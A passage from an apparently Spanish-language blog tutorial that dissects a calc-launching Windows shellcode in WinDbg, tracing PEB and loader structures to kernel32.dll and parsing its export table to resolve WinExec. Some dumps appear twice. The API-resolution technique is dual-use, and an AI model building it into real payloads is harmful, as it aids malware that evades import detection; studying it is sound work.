[+0x02c] KernelCallbackTable : 0x760aba10 [Type: void *]
[+0x02c] UserSharedInfoPtr : 0x760aba10 [Type: void *]
[+0x030] SystemReserved [Type: unsigned long [1]]
[+0x034] AtlThunkSListPtr32 : 0x0 [Type: unsigned long]
[+0x038] ApiSetMap : 0x40000 [Type: void *]
[+0x03c] TlsExpansionCounter : 0x0 [Type: unsigned long]
[+0x040] TlsBitmap : 0x774f4250 [Type: void *]
[+0x044] TlsBitmapBits [Type: unsigned long [2]]
[+0x04c] ReadOnlySharedMemoryBase : 0x7efe0000 [Type: void *]
[+0x050] HotpatchInformation : 0x0 [Type: void *]
[+0x054] ReadOnlyStaticServerData : 0x7efe0a90 [Type: void * *]
[+0x058] AnsiCodePageData : 0x7efb0000 [Type: void *]
[+0x05c] OemCodePageData : 0x7efc0228 [Type: void *]
[+0x060] UnicodeCaseTableData : 0x7efd0650 [Type: void *]
[+0x064] NumberOfProcessors : 0x2 [Type: unsigned long]
[+0x068] NtGlobalFlag : 0x70 [Type: unsigned long]
[+0x070] CriticalSectionTimeout : {-25920000000000} [Type: _LARGE_INTEGER]
[+0x078] HeapSegmentReserve : 0x100000 [Type: unsigned long]
[+0x07c] HeapSegmentCommit : 0x2000 [Type: unsigned long]
[+0x080] HeapDeCommitTotalFreeThreshold : 0x10000 [Type: unsigned long]
[+0x084] HeapDeCommitFreeBlockThreshold : 0x1000 [Type: unsigned long]
[+0x088] NumberOfHeaps : 0x2 [Type: unsigned long]
[+0x08c] MaximumNumberOfHeaps : 0x10 [Type: unsigned long]
[+0x090] ProcessHeaps : 0x774f4760 [Type: void * *]
[+0x094] GdiSharedHandleTable : 0x0 [Type: void *]
[+0x098] ProcessStarterHelper : 0x0 [Type: void *]
[+0x09c] GdiDCAttributeList : 0x0 [Type: unsigned long]
[+0x0a0] LoaderLock : 0x774f20c0 [Type: _RTL_CRITICAL_SECTION *]
[+0x0a4] OSMajorVersion : 0x6 [Type: unsigned long]
[+0x0a8] OSMinorVersion : 0x1 [Type: unsigned long]
[+0x0ac] OSBuildNumber : 0x1db1 [Type: unsigned short]
[+0x0ae] OSCSDVersion : 0x100 [Type: unsigned short]
[+0x0b0] OSPlatformId : 0x2 [Type: unsigned long]
[+0x0b4] ImageSubsystem : 0x3 [Type: unsigned long]
[+0x0b8] ImageSubsystemMajorVersion : 0x6 [Type: unsigned long]
[+0x0bc] ImageSubsystemMinorVersion : 0x0 [Type: unsigned long]
[+0x0c0] ActiveProcessAffinityMask : 0x3 [Type: unsigned long]
[+0x0c4] GdiHandleBuffer [Type: unsigned long [34]]
[+0x14c] PostProcessInitRoutine : 0x0 [Type: void (*)()]
[+0x150] TlsExpansionBitmap : 0x774f4248 [Type: void *]
[+0x154] TlsExpansionBitmapBits [Type: unsigned long [32]]
[+0x1d4] SessionId : 0x1 [Type: unsigned long]
[+0x1d8] AppCompatFlags : {0x0} [Type: _ULARGE_INTEGER]
[+0x1e0] AppCompatFlagsUser : {0x0} [Type: _ULARGE_INTEGER]
[+0x1e8] pShimData : 0x0 [Type: void *]
[+0x1ec] AppCompatInfo : 0x0 [Type: void *]
[+0x1f0] CSDVersion [Type: _UNICODE_STRING]
[+0x1f8] ActivationContextData : 0x1a0000 [Type: _ACTIVATION_CONTEXT_DATA *]
[+0x1fc] ProcessAssemblyStorageMap : 0x0 [Type: _ASSEMBLY_STORAGE_MAP *]
[+0x200] SystemDefaultActivationContextData : 0x190000 [Type: _ACTIVATION_CONTEXT_DATA *]
[+0x204] SystemAssemblyStorageMap : 0x0 [Type: _ASSEMBLY_STORAGE_MAP *]
[+0x208] MinimumStackCommit : 0x0 [Type: unsigned long]
[+0x20c] FlsCallback : 0x575448 [Type: _FLS_CALLBACK_INFO *]
[+0x210] FlsListHead [Type: _LIST_ENTRY]
[+0x218] FlsBitmap : 0x774f4240 [Type: void *]
[+0x21c] FlsBitmapBits [Type: unsigned long [4]]
[+0x22c] FlsHighIndex : 0x2 [Type: unsigned long]
[+0x230] WerRegistrationData : 0x0 [Type: void *]
[+0x234] WerShipAssertPtr : 0x0 [Type: void *]
[+0x238] pContextData : 0x1b0000 [Type: void *]
[+0x23c] pImageHeaderHash : 0x0 [Type: void *]
[+0x240] TracingFlags : 0x0 [Type: unsigned long]
[+0x240 ( 0: 0)] HeapTracingEnabled : 0x0 [Type: unsigned long]
[+0x240 ( 1: 1)] CritSecTracingEnabled : 0x0 [Type: unsigned long]
[+0x240 (31: 2)] SpareTracingBits : 0x0 [Type: unsigned long]
Como vemos se encuentra en el offset 0xC desde el inicio de la estructura PEB, podemos comprobalo como hemos hecho anteriormente con el TIB para ver que todo esta correcto:
Del comando anterior hemos obtenido que LDR apunta a la dirección 0x774f0200 --> Ldr : 0x774f0200 [Type: _PEB_LDR_DATA *]
Como teníamos que el PEB comenzaba en la dirección 0x7efde000 , si le sumamos el offset donde se encuentra el LDR, debemos de tener la misma información que la obtenida con el comando anterior.
0:000> dp 7efde000 + 0xC
7efde00c 774f0200 005717a0 00000000 00570000
7efde01c 774f2100 00000000 00000000 00000000
7efde02c 760aba10 00000000 00000000 00040000
7efde03c 00000000 774f4250 0000007f 00000000
7efde04c 7efe0000 00000000 7efe0a90 7efb0000
7efde05c 7efc0228 7efd0650 00000002 00000070
7efde06c 00000000 079b8000 ffffe86d 00100000
7efde07c 00002000 00010000 00001000 00000002
Por lo que ya sabemos que la estructura LDR del tipo _PEB_LDR_DATA comienza en la dirección 774f0200 .
Vemos que nuestra shellcode ejecuta el siguiente codigo ensamblador para obtener la dirección de LDR:
mov esi,dword ptr [esi+0Ch]
Según la wikipedia, la estructura PEB_LDR_DATA contiene información acerca de los módulos cargados y la dirección base de Kernel32 y NTDLL.
Para ver la estructura ejecutamos el mismo comando que usamos para ver la estructura TEB:
0:000> dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
+0x024 EntryInProgress : Ptr32 Void
+0x028 ShutdownInProgress : UChar
+0x02c ShutdownThreadId : Ptr32 Void
Ahora deberíamos de buscar el campo InLoadOrderModuleList el cual se encuentra en el offset 0xC de la estructura PEB_LDR_DATA. Para obtener el valor podemos hacerlo de la forma que hemos visto antes, partiendo de la dirección de inicio de la estructura PEB_LDR_DATA y sumandole el offset (0xC) o con la dirección base del hilo e ir al PEB y después a la estructura PEB_LDR_DATA haciendo click sobre los links de dichos nombre, terminando en el link de InLoadOrderModuleList .
0:000> dx -r1 ((ntdll!_PEB_LDR_DATA *)0x774f0200)
((ntdll!_PEB_LDR_DATA *)0x774f0200) : 0x774f0200 [Type: _PEB_LDR_DATA *]
[+0x000] Length : 0x30 [Type: unsigned long]
[+0x004] Initialized : 0x1 [Type: unsigned char]
[+0x008] SsHandle : 0x0 [Type: void *]
[+0x00c] InLoadOrderModuleList [Type: _LIST_ENTRY]
[+0x014] InMemoryOrderModuleList [Type: _LIST_ENTRY]
[+0x01c] InInitializationOrderModuleList [Type: _LIST_ENTRY]
[+0x024] EntryInProgress : 0x0 [Type: void *]
[+0x028] ShutdownInProgress : 0x0 [Type: unsigned char]
[+0x02c] ShutdownThreadId : 0x0 [Type: void *]
0:000> dx -r1 (*((ntdll!_LIST_ENTRY *)0x774f020c))
(*((ntdll!_LIST_ENTRY *)0x774f020c)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0x573408 [Type: _LIST_ENTRY *]
[+0x004] Blink : 0x577210 [Type: _LIST_ENTRY *]
O con la dirección obtenida mas el offset (0xC) tendrá la dirección de _LIST_ENTRY:
0:000> dp 774f0200
774f0200 00000030 00000001 00000000 00573408
774f0210 00577210 00573410 00577218 005734a8
774f0220 00577390 00000000 00000000 00000000
774f0230 00000000 00000000 00000000 00000000
774f0240 00000000 00000000 00000000 00000000
774f0250 00000000 00000000 00000000 00000000
774f0260 00000000 00000000 00000000 00000000
774f0270 00000000 00000000 00000000 00000000
Para ello en nuestra shellcode tenemos el siguiente comando en ensamblador que no da la dirección de la primera estructura LDR_DATA_TABLE__ENTRY:
mov esi,dword ptr [esi+0Ch]
En este campo InLoadOrderModuleListed, tenemos una lista enlazada donde cada elemento de la lista apunta a una estructura a la cual nosotros tenemos interés, LDR_DATA_TABLE_ENTRY con información del módulo cargado en nuestro ejecutable.
La estructura LDR_DATA_TABLE_ENTRY esta formada por los siguientes campos:
mov esi,dword ptr [esi+0Ch]
En este campo InLoadOrderModuleListed, tenemos una lista enlazada donde cada elemento de la lista apunta a una estructura a la cual nosotros tenemos interés, LDR_DATA_TABLE_ENTRY con información del módulo cargado en nuestro ejecutable.
La estructura LDR_DATA_TABLE_ENTRY esta formada por los siguientes campos:
0:000> dt nt!_LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks : _LIST_ENTRY
+0x058 ServiceTagLinks : _LIST_ENTRY
+0x060 StaticLinks : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase : Uint4B
+0x070 LoadTime : _LARGE_INTEGER
A nosotros no interesa sacar la dirección base de la DLL, para ello nos tenemos que irnos al offset 0x18. ya que vamos buscando la dirección base de Kernel32.dll.
Partimos de la dirección donde empezaba la primera estructura LDR_DATA_TABLE_ENTRY: 0x573408, por lo tanto en la dirección 0x573408 + 0x18 tenemos que tener un puntero a la dirección donde esta la base de nuestra DLL. En este caso 0x00400000
0:000> dp 0x573408 + 0x18
00573420 00400000 00401306 0001c000 00de00dc
00573430 0057211a 00260024 005721d2 00004000
00573440 0000ffff 774f4878 774f4878 596cdac2
00573450 00000000 00000000 00573458 00573458
00573460 00573460 00573460 005751c8 005751a0
00573470 7742ef24 00400000 00000000 00000000
00573480 abababab abababab 00000000 00000000
00573490 7f31f08c 180078cf 00573818 00573408
Con el comando "lm" podemos ver el listado de modulos que estan cargados y comprobar esa dirección base a que modulo se refier, en este caso: a ConsoloApplication4:
0:000> lm
start end module name
00400000 0041c000 ConsoleApplication4 C (no symbols)
74b00000 74b0c000 CRYPTBASE (deferred)
74b10000 74b70000 SspiCli (deferred)
758a0000 7596e000 MSCTF (deferred)
75b90000 75ca0000 kernel32 (deferred)
75e00000 75e0a000 LPK (deferred)
76090000 76190000 USER32 (deferred)
76870000 76889000 sechost (deferred)
76910000 76a00000 RPCRT4 (deferred)
76a10000 76a57000 KERNELBASE (deferred)
76b70000 76c1c000 msvcrt (deferred)
76c30000 76ccd000 USP10 (deferred)
76e70000 76f00000 GDI32 (deferred)
76f00000 76fa1000 ADVAPI32 (deferred)
76fb0000 77010000 IMM32 (deferred)
773f0000 77570000 ntdll (pdb symbols)
Debido al la estructura de las listas enlazadas, conocemos que en en el inicio de LDR_DATA_TABLE_ENTRY (0x573408) esta el puntero a la siguiente modulo cargado: 0x00573498
0:000> dp0x573408
00573408 00573498 774f020c 005734a0 774f0214
00573418 00000000 00000000 00400000 00401306
00573428 0001c000 00de00dc 0057211a 00260024
00573438 005721d2 00004000 0000ffff 774f4878
00573448 774f4878 596cdac2 00000000 00000000
00573458 00573458 00573458 00573460 00573460
00573468 005751c8 005751a0 7742ef24 00400000
00573478 00000000 00000000 abababab abababab
0:000> dp0x573408
00573408 00573498 774f020c 005734a0 774f0214
00573418 00000000 00000000 00400000 00401306
00573428 0001c000 00de00dc 0057211a 00260024
00573438 005721d2 00004000 0000ffff 774f4878
00573448 774f4878 596cdac2 00000000 00000000
00573458 00573458 00573458 00573460 00573460
00573468 005751c8 005751a0 7742ef24 00400000
00573478 00000000 00000000 abababab abababab
Si queremos ver la dirección base de esta librería repetimos el proceso anterior y vemos que está en:
0:000> dp 00573498 +0x18
005734b0 773f0000 00000000 00180000 003c003a
005734c0 00573528 00140012 7743a7cc 80004004
005734d0 0000ffff 774f48e0 774f48e0 5ddf3f1e
005734e0 00000000 00000000 005734e8 005734e8
005734f0 005734f0 005734f0 005734f8 005734f8
00573500 00000000 7de70000 00000000 00000000
00573510 abababab abababab 00000000 00000000
00573520 6631f095 1c0078cf 003a0043 0057005c
0:000> dp 00573498 +0x18
005734b0 773f0000 00000000 00180000 003c003a
005734c0 00573528 00140012 7743a7cc 80004004
005734d0 0000ffff 774f48e0 774f48e0 5ddf3f1e
005734e0 00000000 00000000 005734e8 005734e8
005734f0 005734f0 005734f0 005734f8 005734f8
00573500 00000000 7de70000 00000000 00000000
00573510 abababab abababab 00000000 00000000
00573520 6631f095 1c0078cf 003a0043 0057005c
Que de la lista anterior obtenida con el comando "lm" podemos ver que se refiere a ntdll. y asi podemos ir avanzando viendo todos los módulos listados, vemos que después de cargar el ntdll carga kernel32.dll
Por lo tanto:
- La primera estructura LDR_DATA_TABLE_ENTRY se encuentra en la dirección: 0x573408
- La segunda estructura LDR_DATA_TABLE_ENTRY comienza en la dirección: 0x573498
- La tercera en la dirección: 0x573818 --> que corresponde con el módulo Kernel32.dll (el que vamos buscando porque es la librería que contiene la funcion WinExec()).
0:000> dp 00573818 +0x18
00573830 75b90000 75ba3346 00110000 00420040
00573840 004a37b8 001a0018 004a37e0 80084004
00573850 0000ffff 774f48a0 774f48a0 5ddf3fc3
00573860 00000000 00000000 004a4b30 004a4b30
00573870 004a3870 004a3870 004a39e8 004a38a8
00573880 7742ef40 7dd60000 9b63f534 01d5bcab
00573890 abababab abababab 00000000 00000000
0:000> lm
start end module name
00400000 0041c000 ConsoleApplication4 C (no symbols)
74b00000 74b0c000 CRYPTBASE (deferred)
74b10000 74b70000 SspiCli (deferred)
758a0000 7596e000 MSCTF (deferred)
75b90000 75ca0000 kernel32 (deferred)
Para llegar hasta la dirección base de kernel32.dll en la shellcode tenemos que saltar a la tercera estructura LDR_DATA_TABLE_ENTRY y para ello tenemos las siguientes instrucciones en ensamblador:
mov esi,dword ptr ds:[esi+C] --> Accedemos al puntero que apunta a la primera estructura LDR_DATA_TABLE_ENTRY (Correspondiente a ConsoleApplication4 )
lodsd --> Saltamos a la segunda estructura LDR_DATA_TABLE (correspondiente a NTDLL)
mov esi,dword ptr ds:[eax] --> Finalmente accedemos a la estructura que nos interesa que es la de Kernel32.dll.
Otra forma de comprobar si estamos en el módulo que nos interesa, es chequeando el campo FullDllName (+0x24), que es del tipo _UNICODE_STRING.
Si echamos un vistazo a la estructura _UNICODE_STRING vemos que esta formada por los siguientes campos:
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
A nosotros nos interesa el puntero a la dirección del buffer, como los 2 primeros campos son del tipo USHORT que tienen
un tamaño de 2 bytes cada uno. Por lo tanto para acceder al campo Buffer, será necesario irnos al offset 0x24
(inicio de la estructura unicode_string) + 0x4 = 0x28.
0:000> dp 00573818 + 0x28 00573840 005737b8 001a0018 004a37e0 80084004 00573850 0000ffff 774f48a0 774f48a0 5ddf3fc3 00573860 00000000 00000000 004a4b30 004a4b30 00573870 004a3870 004a3870 004a39e8 004a38a8 00573880 7742ef40 7dd60000 9b63f534 01d5bcab 00573890 abababab abababab 00000000 00000000 005738a0 0d5eb1c0 1800602d 004a3878 004a39e8 005738b0 004a3498 00000002 abababab abababab
Por lo tanto si mostramos la dirección 0x5737b8 debe de contener la el nombre de la dll que estamos mirando:
0:000> db 005737b8
005737b8 43 00 3a 00 5c 00 57 00-69 00 6e 00 64 00 6f 00 C.:.\.W.i.n.d.o.
005737c8 77 00 73 00 5c 00 73 00-79 00 73 00 77 00 6f 00 w.s.\.s.y.s.w.o.
005737d8 77 00 36 00 34 00 5c 00-6b 00 65 00 72 00 6e 00 w.6.4.\.k.e.r.n.
005737e8 65 00 6c 00 33 00 32 00-2e 00 64 00 6c 00 6c 00 e.l.3.2...d.l.l.
005737f8 00 00 ab ab ab ab ab ab-ab ab ee fe ee fe ee fe ................
00573808 00 00 00 00 00 00 00 00-d7 b1 5e 1a 33 60 00 18 ..........^.3`..
00573818 30 39 4a 00 98 34 4a 00-38 39 4a 00 a0 34 4a 00 09J..4J.89J..4J.
00573828 88 46 4a 00 40 39 4a 00-00 00 b9 75 46 33 ba 75 [email protected]
Ya estamos en el módulo que buscamos, ahora nos vamos a ir a la dirección base de la DLL,que se extrae como hemos visto anteriormente.
db 75b90000
75b90000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
75b90010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
75b90020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
75b90030 00 00 00 00 00 00 00 00-00 00 00 00 e8 00 00 00 ................
75b90040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
75b90050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
75b90060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
75b90070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
En nuestra shellcode para obtener la dirección base de Kernel32.dll ejecutamos el siguiente código ensamblador:
mov edi,dword ptr ds:[esi+18]
**************************************************************************
Ahora hacemos un pequeño inciso que vendrá bien para comprender la siguiente parte de nuestra shellcode.
****************************BLOQUE DE TEORÍA*****************************
Vamos a hacer un pequeño inciso en el tutorial, para explicar una parte que nuestra shellcode va a hacer uso, dentro de la tabla de exportaciones de una DLL, esta documentación es basada en gran parte en el tute de @Zeropad2000, estoy intentando juntar toda la información que yo he usado para entenderlo en un solo documento para que así, sea mas fácil su compresión.
Tabla de exportaciones:
0000 Dword Characteristics Set to zero (currently none defined)
0004 Dword TimeDateStamp Often set to zero
0008 Word MajorVersion User-defined version number
000A Word MinorVersion As above
000C Dword Name RVA of DLL name (null-terminated ASCII)
0010 Dword Base First valid exported ordinal
0014 Dword NumberOfFunctions Number of entries in EAT
0018 Dword NumberOfNames Number of entries in ENT
001C Dword AddressOfFunctions RVA of EAT (export address table)
0020 Dword AddressOfNames RVA of ENT (export name table)
0024 Dword AddressOfNameOrdinals RVA of EOT (export ordinal table)
De esta estructura, nos interesan las 3 ultimas tablas:
• AddressOfNames: contiene la dirección (RVA) de un listado (arreglo) de punteros dirigidos a los nombres de las funciones exportadas
• AddressOfNameOrdinals: RVA que apunta a un listado (arreglo) que contiene los ordinales de los nombres de las funciones exportadas
Quizá es mas fácil con un ejemplo, suponemos que estamos mirando la libreria "Test.dll" y la función que estamos buscando es "MessageBoxA".
Tenemos que empezar por la tabla AddressOfNames (raw offset = 0x20 desde la tabla de exportaciones) , la cual contiene un listado de punteros a direcciones de memoria (RVA’s) donde están guardados lo nombres de las funciones exportadas:
Dos acotaciones, AddressOfNames contiene una RVA (dirección relativa virtual) que apunta a un listado de RVA’s, no directamente a los nombres. Además recordemos que cada una de estas RVA tiene un tamaño double word.
Bien, vemos que para nuestro ejemplo la tercer RVA es la que apunta a la función buscada, ese valor nos va a servir de puntero para la próxima tabla, la AddressOfNameOrdinals(raw offset = 0x24):
Como en la primera tabla la fución estaba en el tercer lugar, (contador =3), Nos vamos al tercer lugar de esta tabla, donde tenemos un valor (en este caso hipotético es 4) que nos servirá de contador a la última tabla, la AddressOfFunctions(raw offset = 0x1C):
En el caso de esta tabla, los valores son del tipo Word, esto también lo vamos a necesitar luego cuando realicemos nuestro código.
Vemos que en la cuarta posición tenemos el valor 005020, recordemos que es una RVA, por lo que tendremos que sumarle la dirección base de la DLL que estamos analizando.
Para que quede un poco mas claro, veamos todo esto en un solo paso:
De la primera tabla una vez obtenemos el contador de donde se encuentra la dirección de la funcion con el nombre "MessageBoxA" desde el inicio de la tabla, Ahora con ese valor nos vamos a la segunda tabla (addressOfNameOrdinals), para eso tenemos que multiplicar el contador por dos, esto es por que cada dirección de AddressOfNameOrdinals ocupa 2 bytes, o sea que por ejemplo el tercer valor que tenia el contador, en esta tabla lo vamos a encontrar en la posición 3 * 2 = 0x6.
Luego el valor que obtenemos de la segunda tabla (4 hipotéticamente), sabemos que sera el contador de la tabla AddressOfFunctions, pero en esta tabla los valores son de tipo doubleword, por lo tanto tenemos que multiplicar por 4.
Retomamos con nuestra shellcode, ahora vamos a abrir Kernel32.dll con el software PEView para ver que es lo que vamos a ir extrayendo de dicha DLL.
En la shellcode se ejecuta la siguiente instrucción:
mov ebx,dword ptr ds:[edi+3C] --> En esta posición tenemos el offset a la cabecera PE del ejecutable tal y como vemos en la siguiente imagen del PEView.
Vemos que el valor es E8, por lo tanto nos desplazamos ese offset para alcanzar el inicio de la cabecera PE que nosotros almacenamos en ebx.
Luego nuestra shellcode ejecuta el siguiente código ensamblador:
mov ebx,dword ptr ds:[edi+ebx+78] --> Obtenemos la dirección del EXPORT Table, ya que esta se encuentra en el offset 160 que es igual a Direccion Base(edi) +E8(ebp) +78.
El siguiente comando que se ejecuta en la shellcode es:
mov esi,dword ptr ds:[edi+ebx+20]--> donde se desplaza 0x20 desde esa dirección accediendo al campo NamePointerTableRVA ( o AddressOfNames como le hemos llamado en teoría), tal y como vemos en la siguiente imagen extraída con PEView ya que C02CC+0x20 = 0xC02EC
Luego en la shellcode viene el siguiente comando, para sumarle la dirección base de donde esta cargada la DLL.
add esi,edi --> Suma ESI (C1848) + la EDI (dirección base de nuestra DLL) y accedemos a la tabla de nombre de exportaciones, tal y como muestra la siguiente imagen y lo guarda en el registro ESI:
mov ecx,dword ptr ds:[edi+ebx+24] --> Luego en la shellcode se ejecuta este comando para obtener el Ordinal Table RVA ( o AddressOfNameOrdinals como le hemos llamado en teoría) y guardarlo en el registro ecx.
add ecx,edi --> Suma ECX (C2D9C) + la EDI (direccion base de nuestra DLL) y accedemos a la tabla de Ordinales de exportaciones, tal y como muestra la siguiente imagen y lo guarda en el registro ECX:
Una vez tenemos estos valores nuestra shellcode entra en una rutina importante:
movzx ebp,word ptr ds:[ecx+edx*2]
inc edx
lodsd
cmp dword ptr ds:[edi+eax],456E6957
jne shellcode_calc.401335
Donde se recorrerán estas tablas que hemos mencionado e irán calculado los contadores de donde se encuentra la función WinExec() que es la que estamos buscando.
Comparamos "EniW" ---> ya que vamos buscando la función WinExec() y los primeros 4 bytes son esos:
En las primeras instrucciones, donde EDX lo usan como contador de la primera tabla (inicializada a 0) y ebp extrae el valor que sacaremos de AddressOfNameOrdinals y que usaremos en la tercera tabla.
movzx ebp,word ptr ds:[ecx+edx*2] --> se multiplica por 2 por lo explicado en teoría
inc edx
lodsd
cmp dword ptr ds:[edi+eax],456E6957
jne shellcode_calc.401335
Cuando termina esta rutina obtenemos los siguientes valores:
Comprobamos que es correcto y que en el valor ordinal de la funcion WinExec es 518 (ebp).
mov esi,dword ptr ds:[edi+ebx+1C] --> en EDI + EBX teníamos C02CC que era ImagenExportDirectory y le sumamos 0x1C dando lugar a 0xC02E8
add esi,edi --> Suma ESI (0xC02E8) + la EDI (dirección base de nuestra DLL) y accedemos a la dirección de la funciones tal y como muestra la siguiente imagen y lo guarda en el registro ESI:
Y por último una vez tenemos ya la dirección de la tabla y debido a que esta tabla esta formado por campos del tipo doubleword , debemos de multiplicar por 4 el valor obtenido.
add edi,dword ptr ds:[esi+ebp*4]
En EDI tendremos la dirección del WinExec() y con el siguiente comando en ensamblador llamaremos a la función:
call edi
Llamaremos a esa función con los parámetros que hay en la pusheados en pila que como vimos al principio del tutorial.
UINT WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
Cogerá el puntero a la pila donde pusheamos la cadena "calc" y el valor 0, vuelvo a poner la imagen del principio para que sea mas fácil de ver.
Y hasta aquí el diseño/explicación de la shellcode, espero que os ayude al menos la mitad de lo que me ha servido a mi redactarlo.
Comentarios
Publicar un comentario